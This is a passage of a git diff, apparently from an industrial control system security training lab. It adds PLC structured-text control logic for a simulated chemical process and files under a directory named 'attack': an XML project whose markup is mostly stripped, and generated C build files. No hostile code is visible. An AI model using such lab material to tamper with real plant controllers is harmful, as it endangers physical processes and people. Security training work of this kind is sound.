0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + 